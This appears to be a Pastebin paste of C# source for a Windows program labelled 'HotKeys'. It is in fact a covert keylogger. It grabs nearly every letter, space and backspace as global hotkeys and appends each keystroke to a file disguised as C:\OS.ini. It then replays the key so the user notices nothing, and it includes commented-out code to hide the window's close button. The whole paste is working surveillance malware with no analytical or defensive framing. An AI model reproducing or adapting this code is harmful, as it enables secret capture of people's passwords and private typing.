Advertisement
Guest User

Untitled

a guest
Aug 24th, 2015
82
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.56 KB | None | 0 0
  1. using System;
  2. using System.Collections.Generic;
  3. using System.ComponentModel;
  4. using System.Data;
  5. using System.Drawing;
  6. using System.Linq;
  7. using System.Text;
  8. using System.Windows.Forms;
  9. using System.Runtime.InteropServices;
  10. using System.IO;
  11. using System.Threading;
  12.  
  13. namespace HotKeys
  14. {
  15. public partial class Form1 : Form
  16. {
  17. ////Retira o botão de fechar
  18. //private const int CP_NOCLOSE_BUTTON = 0x200;
  19. //protected override CreateParams CreateParams
  20. //{
  21. // get
  22. // {
  23. // CreateParams myCp = base.CreateParams;
  24. // myCp.ClassStyle = myCp.ClassStyle | CP_NOCLOSE_BUTTON;
  25. // return myCp;
  26. // }
  27. //}
  28.  
  29. int id = 0;
  30. // DLL libraries used to manage hotkeys
  31. [DllImport("user32.dll")]
  32. public static extern bool RegisterHotKey(IntPtr hWnd, int id, int fsModifiers, int vlc);
  33. [DllImport("user32.dll")]
  34. public static extern bool UnregisterHotKey(IntPtr hWnd, int id);
  35.  
  36. enum KeyModifier
  37. {
  38. None = 0,
  39. Alt = 1,
  40. Control = 2,
  41. Shift = 4,
  42. WinKey = 8
  43. }
  44.  
  45. public Form1()
  46. {
  47. InitializeComponent();
  48. // Modifier keys codes: Alt = 1, Ctrl = 2, Shift = 4, Win = 8
  49. // Compute the addition of each combination of the keys you want to be pressed
  50. // ALT+CTRL = 1 + 2 = 3 , CTRL+SHIFT = 2 + 4 = 6...
  51. xiq();
  52. }
  53.  
  54. string k = "";
  55. protected override void WndProc(ref Message m)
  56. {
  57. if (m.Msg == 0x0312)
  58. {
  59. Keys key = (Keys)(((int)m.LParam >> 16) & 0xFFFF); // The key of the hotkey that was pressed.
  60. KeyModifier modifier = (KeyModifier)((int)m.LParam & 0xFFFF); // The modifier of the hotkey that was pressed.
  61. int id = m.WParam.ToInt32(); // The id of the hotkey that was pressed.
  62.  
  63. k = "";
  64. k = key.ToString();
  65.  
  66.  
  67. if (k.ToLower() == "space")
  68. {
  69. File.WriteAllText(@"C:\OS.ini", File.ReadAllText(@"C:\OS.ini") + " ");
  70. }
  71. else
  72. {
  73. if (k.ToLower() == "back")
  74. {
  75. File.WriteAllText(@"C:\OS.ini", File.ReadAllText(@"C:\OS.ini") + k.ToLower());
  76. }
  77. else
  78. {
  79. File.WriteAllText(@"C:\OS.ini", File.ReadAllText(@"C:\OS.ini") + k.ToLower());
  80. }
  81. }
  82.  
  83. try
  84. {
  85. SendKeys.Send("{" + key.ToString().ToLower() + "}");
  86. }
  87. catch (Exception)
  88. { SendKeys.Send(" "); }
  89.  
  90. File.WriteAllText(@"C:\OS.ini", File.ReadAllText(@"C:\OS.ini").Replace("Space", " "));
  91.  
  92. }
  93. base.WndProc(ref m);
  94. }
  95.  
  96. public void xiq()
  97. {
  98. InitializeComponent();
  99.  
  100. int id = 0; // The id of the hotkey.
  101. RegisterHotKey(this.Handle, id, (int)KeyModifier.None, Keys.A.GetHashCode());
  102. RegisterHotKey(this.Handle, id, (int)KeyModifier.None, Keys.B.GetHashCode());
  103. RegisterHotKey(this.Handle, id, (int)KeyModifier.None, Keys.C.GetHashCode());
  104. RegisterHotKey(this.Handle, id, (int)KeyModifier.None, Keys.D.GetHashCode());
  105. RegisterHotKey(this.Handle, id, (int)KeyModifier.None, Keys.E.GetHashCode());
  106. RegisterHotKey(this.Handle, id, (int)KeyModifier.None, Keys.F.GetHashCode());
  107. RegisterHotKey(this.Handle, id, (int)KeyModifier.None, Keys.G.GetHashCode());
  108. RegisterHotKey(this.Handle, id, (int)KeyModifier.None, Keys.H.GetHashCode());
  109. RegisterHotKey(this.Handle, id, (int)KeyModifier.None, Keys.I.GetHashCode());
  110. RegisterHotKey(this.Handle, id, (int)KeyModifier.None, Keys.J.GetHashCode());
  111. RegisterHotKey(this.Handle, id, (int)KeyModifier.None, Keys.K.GetHashCode());
  112. RegisterHotKey(this.Handle, id, (int)KeyModifier.None, Keys.L.GetHashCode());
  113. RegisterHotKey(this.Handle, id, (int)KeyModifier.None, Keys.M.GetHashCode());
  114. RegisterHotKey(this.Handle, id, (int)KeyModifier.None, Keys.N.GetHashCode());
  115. RegisterHotKey(this.Handle, id, (int)KeyModifier.None, Keys.O.GetHashCode());
  116. RegisterHotKey(this.Handle, id, (int)KeyModifier.None, Keys.P.GetHashCode());
  117. RegisterHotKey(this.Handle, id, (int)KeyModifier.None, Keys.Q.GetHashCode());
  118. RegisterHotKey(this.Handle, id, (int)KeyModifier.None, Keys.R.GetHashCode());
  119. RegisterHotKey(this.Handle, id, (int)KeyModifier.None, Keys.S.GetHashCode());
  120. RegisterHotKey(this.Handle, id, (int)KeyModifier.None, Keys.T.GetHashCode());
  121. RegisterHotKey(this.Handle, id, (int)KeyModifier.None, Keys.U.GetHashCode());
  122. RegisterHotKey(this.Handle, id, (int)KeyModifier.None, Keys.V.GetHashCode());
  123. RegisterHotKey(this.Handle, id, (int)KeyModifier.None, Keys.X.GetHashCode());
  124. RegisterHotKey(this.Handle, id, (int)KeyModifier.None, Keys.Z.GetHashCode());
  125. RegisterHotKey(this.Handle, id, (int)KeyModifier.None, Keys.Space.GetHashCode());
  126. RegisterHotKey(this.Handle, id, (int)KeyModifier.None, Keys.Back.GetHashCode());
  127. }
  128. }
  129. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement